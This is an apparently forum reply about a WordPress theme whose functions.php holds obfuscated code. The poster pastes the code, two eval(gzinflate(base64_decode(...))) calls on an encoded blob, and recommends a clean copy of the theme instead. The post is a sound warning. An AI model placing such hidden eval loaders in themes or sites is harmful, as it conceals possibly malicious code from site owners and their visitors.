ok.
that themes function.php has base64 encoded PHP in it (obsfucated code). If you open the zip on your desktop, pull out the file functions.php and open it in a plain text editor (even word) you will see this:
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array('name'=>'Sidebar'));
eval(gzinflate(base64_decode('jZBPawIxEMXPm08xDIIJWLfnynqRlR78A3aLxxBNXIO7SUhiQ1v63dtN9dRLb8PMb957PCKk5OIYtTUUldSROxsiTlCboHzk8ax6xTttLshm5HQ1GYU/V8rgkxRtZw+ig1Fy8jAjhT7RPD7MWxX5m/AUX+pVvWhgsX3dNHR45FoyWO62a7ihwzLA/rne1ZCBq++q8TlG91SWKaWp6MWHNm2yXjqvQsghwvRo+3KMrKoeGSmK5PgtY04nvBfvFLOeEb1CqOaA+7sENIMGTgDvjr/A/1wR2E83X+Qb')));
$Tce5ff9d9736a05ebc696fa206190f53b='jZBPawIxEMXPm08xDIIJWLfnynqRlR78A3aLxxBNXIO7SUhiQ1v63dtN9dRLb8PMb957PCKk5OIYtTUUldSROxsiTlCboHzk8ax6xTttLshm5HQ1GYU/V8rgkxRtZw+ig1Fy8jAjhT7RPD7MWxX5m/AUX+pVvWhgsX3dNHR45FoyWO62a7ihwzLA/rne1ZCBq++q8TlG91SWKaWp6MWHNm2yXjqvQsghwvRo+3KMrKoeGSmK5PgtY04nvBfvFLOeEb1CqOaA+7sENIMGTgDvjr/A/1wR2E83X+Qb';eval(gzinflate(base64_decode($Tce5ff9d9736a05ebc696fa206190f53b)));
?>
Im not even going to bother decoding it since Im on my laptop and have no mouse, so copying and pasting that would be a pain.
It might be malicious, it might not. BUT — you dont need to use a theme you cant trust. So .. go here instead:
https://themes.blogflux.com/theme/1443.html
get the theme from there, the hidden code I pasted isnt inside their functions.php
Remove your nested folders of what you just uploaded.
Follow my tutorial here regarding how to NOT nest folders when uploading themes:
https://www.village-idiot.org/theme-howto
and youll be good to go with the new theme.